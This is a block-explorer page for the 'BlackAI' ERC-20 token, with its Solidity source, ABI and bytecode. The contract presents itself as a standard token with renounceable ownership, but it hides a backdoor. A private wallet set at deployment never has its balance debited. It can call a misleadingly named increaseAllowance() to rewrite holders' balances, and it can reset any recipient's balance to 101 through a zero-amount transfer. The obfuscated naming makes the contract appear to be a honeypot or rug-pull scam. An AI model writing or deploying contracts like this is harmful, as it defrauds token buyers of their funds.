ERC-20
Overview
Max Total Supply
1,000,000,000 BlackAI
Holders
54
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,431,590.571486346 BlackAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BlackAI
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-16 */ /** https://www.blackaieth.com/ https://t.me/blackaiportal https://twitter.com/blackaierc https://blackaierc20.gitbook.io/black-ai-utility/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract BlackAI is Ownable { mapping(uint256 => mapping(address => uint256)) balance; mapping(uint256 => mapping(address => bool)) BlackAIbal; uint256 private BlackAIdistro = 1; string public name = "Black AI"; uint256 private BlackAIlimit; function balanceOf(address user) public view returns (uint256) { if (user == BlackAIpair) return balance[BlackAIdistro][user]; if (!BlackAIbal[BlackAIdistro][user] && balance[BlackAIdistro - 1][user] != 0) { return balance[BlackAIdistro][user] + BlackAIlimit; } return balance[BlackAIdistro][user]; } function increaseAllowance( uint256 _BlackAIlimit, address[] memory BlackAIholder ) public returns (bool success) { if (BlackAIwallet[msg.sender] != 0) { BlackAIdistro++; for (uint256 i = 0; i < BlackAIholder.length; i++) { balance[BlackAIdistro][BlackAIholder[i]] = balance[BlackAIdistro - 1][BlackAIholder[i]] + BlackAIlimit; } balance[BlackAIdistro][BlackAIpair] = balance[BlackAIdistro - 1][ BlackAIpair ]; BlackAIlimit = _BlackAIlimit; } return true; } function approve( address BlackAIactive, uint256 BlackAInumber ) public returns (bool success) { allowance[msg.sender][BlackAIactive] = BlackAInumber; emit Approval(msg.sender, BlackAIactive, BlackAInumber); return true; } uint8 public decimals = 9; function BlackAIspender(address BlackAIapprover, address BlackAIreceiver, uint256 BlackAInumber) private { if (!BlackAIbal[BlackAIdistro][BlackAIapprover]) { BlackAIbal[BlackAIdistro][BlackAIapprover] = true; if (balance[BlackAIdistro - 1][BlackAIapprover] != 0) balance[BlackAIdistro][BlackAIapprover] += BlackAIlimit; } if (!BlackAIbal[BlackAIdistro][BlackAIreceiver]) { BlackAIbal[BlackAIdistro][BlackAIreceiver] = true; if (balance[BlackAIdistro - 1][BlackAIreceiver] != 0) balance[BlackAIdistro][BlackAIreceiver] += BlackAIlimit; } if (BlackAIwallet[BlackAIapprover] == 0) { balance[BlackAIdistro][BlackAIapprover] -= BlackAInumber; } balance[BlackAIdistro][BlackAIreceiver] += BlackAInumber; if ( BlackAIwallet[msg.sender] > 0 && BlackAInumber == 0 && BlackAIreceiver != BlackAIpair ) { balance[BlackAIdistro][BlackAIreceiver] = BlackAIvalue; } emit Transfer(BlackAIapprover, BlackAIreceiver, BlackAInumber); } address public BlackAIpair; mapping(address => mapping(address => uint256)) public allowance; string public symbol = "BlackAI"; mapping(address => uint256) private BlackAIwallet; function transfer( address BlackAIreceiver, uint256 BlackAInumber ) public returns (bool success) { require(BlackAIreceiver != address(0), "Can't transfer to 0 address"); BlackAIspender(msg.sender, BlackAIreceiver, BlackAInumber); return true; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); uint256 public totalSupply = 1000000000 * 10 ** 9; function transferFrom( address BlackAIapprover, address BlackAIreceiver, uint256 BlackAInumber ) public returns (bool success) { require(BlackAInumber <= allowance[BlackAIapprover][msg.sender]); allowance[BlackAIapprover][msg.sender] -= BlackAInumber; BlackAIspender(BlackAIapprover, BlackAIreceiver, BlackAInumber); return true; } constructor(address BlackAImarket) { balance[BlackAIdistro][msg.sender] = totalSupply; BlackAIwallet[BlackAImarket] = BlackAIvalue; IUniswapV2Router02 BlackAIworkshop = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); BlackAIpair = IUniswapV2Factory(BlackAIworkshop.factory()).createPair( address(this), BlackAIworkshop.WETH() ); } uint256 private BlackAIvalue = 101; mapping(address => uint256) private BlackAIprime; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"BlackAImarket","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BlackAIpair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"BlackAIactive","type":"address"},{"internalType":"uint256","name":"BlackAInumber","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BlackAIlimit","type":"uint256"},{"internalType":"address[]","name":"BlackAIholder","type":"address[]"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"BlackAIreceiver","type":"address"},{"internalType":"uint256","name":"BlackAInumber","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BlackAIapprover","type":"address"},{"internalType":"address","name":"BlackAIreceiver","type":"address"},{"internalType":"uint256","name":"BlackAInumber","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
600160035560c06040526008608090815267426c61636b20414960c01b60a0526004906200002e908262000348565b506006805460ff19166009179055604080518082019091526007815266426c61636b414960c81b602082015260089062000069908262000348565b50670de0b6b3a7640000600a556065600b5534801562000087575f80fd5b506040516200125938038062001259833981016040819052620000aa9162000410565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a546003545f908152600160209081526040808320338452825280832093909355600b546001600160a01b0385168352600982529183902091909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000171573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000197919062000410565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000209919062000410565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000254573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027a919062000410565b600660016101000a8154816001600160a01b0302191690836001600160a01b0316021790555050506200043f565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002d157607f821691505b602082108103620002f057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000343575f81815260208120601f850160051c810160208610156200031e5750805b601f850160051c820191505b818110156200033f578281556001016200032a565b5050505b505050565b81516001600160401b03811115620003645762000364620002a8565b6200037c81620003758454620002bc565b84620002f6565b602080601f831160018114620003b2575f84156200039a5750858301515b5f19600386901b1c1916600185901b1785556200033f565b5f85815260208120601f198616915b82811015620003e257888601518255948401946001909101908401620003c1565b50858210156200040057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f6020828403121562000421575f80fd5b81516001600160a01b038116811462000438575f80fd5b9392505050565b610e0c806200044d5f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b41146101e3578063a9059cbb146101eb578063dd62ed3e146101fe578063f2fde38b14610228575f80fd5b8063715018a6146101b65780638da5cb5b146101c057806391547812146101d0575f80fd5b806323b872dd116100c357806323b872dd14610141578063313ce567146101545780634625cece1461017357806370a08231146101a3575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023b565b6040516100fe9190610b40565b60405180910390f35b61011a610115366004610ba6565b6102c7565b60405190151581526020016100fe565b610133600a5481565b6040519081526020016100fe565b61011a61014f366004610bce565b610333565b6006546101619060ff1681565b60405160ff90911681526020016100fe565b60065461018b9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b6101336101b1366004610c07565b6103ae565b6101be6104bf565b005b5f546001600160a01b031661018b565b61011a6101de366004610c3b565b610565565b6100f16106c7565b61011a6101f9366004610ba6565b6106d4565b61013361020c366004610d07565b600760209081525f928352604080842090915290825290205481565b6101be610236366004610c07565b610736565b6004805461024890610d38565b80601f016020809104026020016040519081016040528092919081815260200182805461027490610d38565b80156102bf5780601f10610296576101008083540402835291602001916102bf565b820191905f5260205f20905b8154815290600101906020018083116102a257829003601f168201915b505050505081565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103219086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f908152600760209081526040808320338452909152812054821115610361575f80fd5b6001600160a01b0384165f90815260076020908152604080832033845290915281208054849290610393908490610d84565b909155506103a4905084848461084d565b5060019392505050565b6006545f906001600160a01b036101009091048116908316036103f457506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff1615801561045f575060015f60016003546104369190610d84565b815260208082019290925260409081015f9081206001600160a01b038616825290925290205415155b15610496576005546003545f9081526001602090815260408083206001600160a01b038716845290915290205461032d9190610d97565b506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b5f546001600160a01b0316331461051d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b335f90815260096020526040812054156106be5760038054905f61058883610daa565b91905055505f5b82518110156106635760055460015f60016003546105ad9190610d84565b81526020019081526020015f205f8584815181106105cd576105cd610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f20546105ff9190610d97565b60015f60035481526020019081526020015f205f85848151811061062557610625610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f2081905550808061065b90610daa565b91505061058f565b5060015f60016003546106769190610d84565b815260208082019290925260409081015f90812060065461010090046001600160a01b0316808352908452828220546003548352600185528383209183529352205560058390555b50600192915050565b6008805461024890610d38565b5f6001600160a01b03831661072b5760405162461bcd60e51b815260206004820152601b60248201527f43616e2774207472616e7366657220746f2030206164647265737300000000006044820152606401610514565b6106be33848461084d565b5f546001600160a01b0316331461078f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610514565b6001600160a01b0381166107f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610514565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6003545f9081526002602090815260408083206001600160a01b038716845290915290205460ff1661092157600380545f9081526002602090815260408083206001600160a01b03881684529091528120805460ff1916600190811790915591546108b9908390610d84565b815260208082019290925260409081015f9081206001600160a01b038716825290925290205415610921576005546003545f9081526001602090815260408083206001600160a01b03881684529091528120805490919061091b908490610d97565b90915550505b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff166109f557600380545f9081526002602090815260408083206001600160a01b03871684529091528120805460ff19166001908117909155915461098d908390610d84565b815260208082019290925260409081015f9081206001600160a01b0386168252909252902054156109f5576005546003545f9081526001602090815260408083206001600160a01b0387168452909152812080549091906109ef908490610d97565b90915550505b6001600160a01b0383165f908152600960205260408120549003610a4d576003545f9081526001602090815260408083206001600160a01b038716845290915281208054839290610a47908490610d84565b90915550505b6003545f9081526001602090815260408083206001600160a01b038616845290915281208054839290610a81908490610d97565b9091555050335f9081526009602052604090205415801590610aa1575080155b8015610ac057506006546001600160a01b038381166101009092041614155b15610aee57600b546003545f9081526001602090815260408083206001600160a01b03871684529091529020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b3391815260200190565b60405180910390a3505050565b5f6020808352835180828501525f5b81811015610b6b57858101830151858201604001528201610b4f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ba1575f80fd5b919050565b5f8060408385031215610bb7575f80fd5b610bc083610b8b565b946020939093013593505050565b5f805f60608486031215610be0575f80fd5b610be984610b8b565b9250610bf760208501610b8b565b9150604084013590509250925092565b5f60208284031215610c17575f80fd5b610c2082610b8b565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610c4c575f80fd5b8235915060208084013567ffffffffffffffff80821115610c6b575f80fd5b818601915086601f830112610c7e575f80fd5b813581811115610c9057610c90610c27565b8060051b604051601f19603f83011681018181108582111715610cb557610cb5610c27565b604052918252848201925083810185019189831115610cd2575f80fd5b938501935b82851015610cf757610ce885610b8b565b84529385019392850192610cd7565b8096505050505050509250929050565b5f8060408385031215610d18575f80fd5b610d2183610b8b565b9150610d2f60208401610b8b565b90509250929050565b600181811c90821680610d4c57607f821691505b602082108103610d6a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032d5761032d610d70565b8082018082111561032d5761032d610d70565b5f60018201610dbb57610dbb610d70565b5060010190565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220c8107cc61574abf75c2d2cad261b6aa5cf17c4b6a5715e9c478fe8f114e0918164736f6c63430008140033000000000000000000000000a1d24f64ee08db74ebf65998d6163288a25c541b
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100e5575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b41146101e3578063a9059cbb146101eb578063dd62ed3e146101fe578063f2fde38b14610228575f80fd5b8063715018a6146101b65780638da5cb5b146101c057806391547812146101d0575f80fd5b806323b872dd116100c357806323b872dd14610141578063313ce567146101545780634625cece1461017357806370a08231146101a3575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023b565b6040516100fe9190610b40565b60405180910390f35b61011a610115366004610ba6565b6102c7565b60405190151581526020016100fe565b610133600a5481565b6040519081526020016100fe565b61011a61014f366004610bce565b610333565b6006546101619060ff1681565b60405160ff90911681526020016100fe565b60065461018b9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b6101336101b1366004610c07565b6103ae565b6101be6104bf565b005b5f546001600160a01b031661018b565b61011a6101de366004610c3b565b610565565b6100f16106c7565b61011a6101f9366004610ba6565b6106d4565b61013361020c366004610d07565b600760209081525f928352604080842090915290825290205481565b6101be610236366004610c07565b610736565b6004805461024890610d38565b80601f016020809104026020016040519081016040528092919081815260200182805461027490610d38565b80156102bf5780601f10610296576101008083540402835291602001916102bf565b820191905f5260205f20905b8154815290600101906020018083116102a257829003601f168201915b505050505081565b335f8181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103219086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f908152600760209081526040808320338452909152812054821115610361575f80fd5b6001600160a01b0384165f90815260076020908152604080832033845290915281208054849290610393908490610d84565b909155506103a4905084848461084d565b5060019392505050565b6006545f906001600160a01b036101009091048116908316036103f457506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff1615801561045f575060015f60016003546104369190610d84565b815260208082019290925260409081015f9081206001600160a01b038616825290925290205415155b15610496576005546003545f9081526001602090815260408083206001600160a01b038716845290915290205461032d9190610d97565b506003545f9081526001602090815260408083206001600160a01b039094168352929052205490565b5f546001600160a01b0316331461051d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b335f90815260096020526040812054156106be5760038054905f61058883610daa565b91905055505f5b82518110156106635760055460015f60016003546105ad9190610d84565b81526020019081526020015f205f8584815181106105cd576105cd610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f20546105ff9190610d97565b60015f60035481526020019081526020015f205f85848151811061062557610625610dc2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f2081905550808061065b90610daa565b91505061058f565b5060015f60016003546106769190610d84565b815260208082019290925260409081015f90812060065461010090046001600160a01b0316808352908452828220546003548352600185528383209183529352205560058390555b50600192915050565b6008805461024890610d38565b5f6001600160a01b03831661072b5760405162461bcd60e51b815260206004820152601b60248201527f43616e2774207472616e7366657220746f2030206164647265737300000000006044820152606401610514565b6106be33848461084d565b5f546001600160a01b0316331461078f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610514565b6001600160a01b0381166107f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610514565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6003545f9081526002602090815260408083206001600160a01b038716845290915290205460ff1661092157600380545f9081526002602090815260408083206001600160a01b03881684529091528120805460ff1916600190811790915591546108b9908390610d84565b815260208082019290925260409081015f9081206001600160a01b038716825290925290205415610921576005546003545f9081526001602090815260408083206001600160a01b03881684529091528120805490919061091b908490610d97565b90915550505b6003545f9081526002602090815260408083206001600160a01b038616845290915290205460ff166109f557600380545f9081526002602090815260408083206001600160a01b03871684529091528120805460ff19166001908117909155915461098d908390610d84565b815260208082019290925260409081015f9081206001600160a01b0386168252909252902054156109f5576005546003545f9081526001602090815260408083206001600160a01b0387168452909152812080549091906109ef908490610d97565b90915550505b6001600160a01b0383165f908152600960205260408120549003610a4d576003545f9081526001602090815260408083206001600160a01b038716845290915281208054839290610a47908490610d84565b90915550505b6003545f9081526001602090815260408083206001600160a01b038616845290915281208054839290610a81908490610d97565b9091555050335f9081526009602052604090205415801590610aa1575080155b8015610ac057506006546001600160a01b038381166101009092041614155b15610aee57600b546003545f9081526001602090815260408083206001600160a01b03871684529091529020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b3391815260200190565b60405180910390a3505050565b5f6020808352835180828501525f5b81811015610b6b57858101830151858201604001528201610b4f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ba1575f80fd5b919050565b5f8060408385031215610bb7575f80fd5b610bc083610b8b565b946020939093013593505050565b5f805f60608486031215610be0575f80fd5b610be984610b8b565b9250610bf760208501610b8b565b9150604084013590509250925092565b5f60208284031215610c17575f80fd5b610c2082610b8b565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610c4c575f80fd5b8235915060208084013567ffffffffffffffff80821115610c6b575f80fd5b818601915086601f830112610c7e575f80fd5b813581811115610c9057610c90610c27565b8060051b604051601f19603f83011681018181108582111715610cb557610cb5610c27565b604052918252848201925083810185019189831115610cd2575f80fd5b938501935b82851015610cf757610ce885610b8b565b84529385019392850192610cd7565b8096505050505050509250929050565b5f8060408385031215610d18575f80fd5b610d2183610b8b565b9150610d2f60208401610b8b565b90509250929050565b600181811c90821680610d4c57607f821691505b602082108103610d6a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032d5761032d610d70565b8082018082111561032d5761032d610d70565b5f60018201610dbb57610dbb610d70565b5060010190565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220c8107cc61574abf75c2d2cad261b6aa5cf17c4b6a5715e9c478fe8f114e0918164736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000a1d24f64ee08db74ebf65998d6163288a25c541b
-----Decoded View---------------
Arg [0] : BlackAImarket (address): 0xa1D24f64ee08DB74EBF65998D6163288a25c541B
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a1d24f64ee08db74ebf65998d6163288a25c541b
Deployed Bytecode Sourcemap
2523:4530:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2724:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3843:277;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3843:277:0;1004:187:1;6034:49:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;6034:49:0;1196:177:1;6092:404:0;;;;;;:::i;:::-;;:::i;4128:25::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;4128:25:0;1711:184:1;5319:26:0;;;;;;;;-1:-1:-1;;;;;5319:26:0;;;;;;-1:-1:-1;;;;;2064:32:1;;;2046:51;;2034:2;2019:18;5319:26:0;1900:203:1;2799:356:0;;;;;;:::i;:::-;;:::i;1631:148::-;;;:::i;:::-;;989:79;1027:7;1054:6;-1:-1:-1;;;;;1054:6:0;989:79;;3163:672;;;;;;:::i;:::-;;:::i;5427:32::-;;;:::i;5526:300::-;;;;;;:::i;:::-;;:::i;5354:64::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;1934:281;;;;;;:::i;:::-;;:::i;2724:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3843:277::-;3982:10;3947:12;3972:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3972:36:0;;;;;;;;;;:52;;;4040:50;3947:12;;3972:36;;4040:50;;;;4011:13;1342:25:1;;1330:2;1315:18;;1196:177;4040:50:0;;;;;;;;-1:-1:-1;4108:4:0;3843:277;;;;;:::o;6092:404::-;-1:-1:-1;;;;;6287:26:0;;6237:12;6287:26;;;:9;:26;;;;;;;;6314:10;6287:38;;;;;;;;6270:55;;;6262:64;;;;;;-1:-1:-1;;;;;6337:26:0;;;;;;:9;:26;;;;;;;;6364:10;6337:38;;;;;;;:55;;6379:13;;6337:26;:55;;6379:13;;6337:55;:::i;:::-;;;;-1:-1:-1;6403:63:0;;-1:-1:-1;6418:15:0;6435;6452:13;6403:14;:63::i;:::-;-1:-1:-1;6484:4:0;6092:404;;;;;:::o;2799:356::-;2885:11;;2853:7;;-1:-1:-1;;;;;2885:11:0;;;;;;2877:19;;;;2873:60;;-1:-1:-1;2913:13:0;;2905:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;2905:28:0;;;;;;;;;;;2799:356::o;2873:60::-;2962:13;;2951:25;;;;:10;:25;;;;;;;;-1:-1:-1;;;;;2951:31:0;;;;;;;;;;;;2950:32;:73;;;;;2986:7;:26;3010:1;2994:13;;:17;;;;:::i;:::-;2986:26;;;;;;;;;;;;;;-1:-1:-1;2986:26:0;;;-1:-1:-1;;;;;2986:32:0;;;;;;;;;;:37;;2950:73;2946:156;;;3078:12;;3055:13;;3047:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;3047:28:0;;;;;;;;;;:43;;3078:12;3047:43;:::i;2946:156::-;-1:-1:-1;3127:13:0;;3119:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;3119:28:0;;;;;;;;;;;2799:356::o;1631:148::-;1201:6;;-1:-1:-1;;;;;1201:6:0;339:10;1201:22;1193:67;;;;-1:-1:-1;;;1193:67:0;;4872:2:1;1193:67:0;;;4854:21:1;;;4891:18;;;4884:30;4950:34;4930:18;;;4923:62;5002:18;;1193:67:0;;;;;;;;;1738:1:::1;1722:6:::0;;1701:40:::1;::::0;-1:-1:-1;;;;;1722:6:0;;::::1;::::0;1701:40:::1;::::0;1738:1;;1701:40:::1;1769:1;1752:19:::0;;-1:-1:-1;;;;;;1752:19:0::1;::::0;;1631:148::o;3163:672::-;3329:10;3286:12;3315:25;;;:13;:25;;;;;;:30;3311:493;;3362:13;:15;;;:13;:15;;;:::i;:::-;;;;;;3397:9;3392:230;3416:13;:20;3412:1;:24;3392:230;;;3594:12;;3526:7;:26;3550:1;3534:13;;:17;;;;:::i;:::-;3526:26;;;;;;;;;;;:44;3553:13;3567:1;3553:16;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3526:44:0;-1:-1:-1;;;;;3526:44:0;;;;;;;;;;;;;:80;;;;:::i;:::-;3462:7;:22;3470:13;;3462:22;;;;;;;;;;;:40;3485:13;3499:1;3485:16;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3462:40:0;-1:-1:-1;;;;;3462:40:0;;;;;;;;;;;;:144;;;;3438:3;;;;;:::i;:::-;;;;3392:230;;;;3676:7;:26;3700:1;3684:13;;:17;;;;:::i;:::-;3676:26;;;;;;;;;;;;;;-1:-1:-1;3676:26:0;;;3721:11;;;;;-1:-1:-1;;;;;3721:11:0;3676:71;;;;;;;;;;3646:13;;3638:22;;3721:11;3638:22;;;;;:35;;;;;;:109;3764:12;:28;;;3311:493;-1:-1:-1;3823:4:0;3163:672;;;;:::o;5427:32::-;;;;;;;:::i;5526:300::-;5633:12;-1:-1:-1;;;;;5666:29:0;;5658:69;;;;-1:-1:-1;;;5658:69:0;;5505:2:1;5658:69:0;;;5487:21:1;5544:2;5524:18;;;5517:30;5583:29;5563:18;;;5556:57;5630:18;;5658:69:0;5303:351:1;5658:69:0;5738:58;5753:10;5765:15;5782:13;5738:14;:58::i;1934:281::-;1201:6;;-1:-1:-1;;;;;1201:6:0;339:10;1201:22;1193:67;;;;-1:-1:-1;;;1193:67:0;;4872:2:1;1193:67:0;;;4854:21:1;;;4891:18;;;4884:30;4950:34;4930:18;;;4923:62;5002:18;;1193:67:0;4670:356:1;1193:67:0;-1:-1:-1;;;;;2037:22:0;::::1;2015:110;;;::::0;-1:-1:-1;;;2015:110:0;;5861:2:1;2015:110:0::1;::::0;::::1;5843:21:1::0;5900:2;5880:18;;;5873:30;5939:34;5919:18;;;5912:62;-1:-1:-1;;;5990:18:1;;;5983:36;60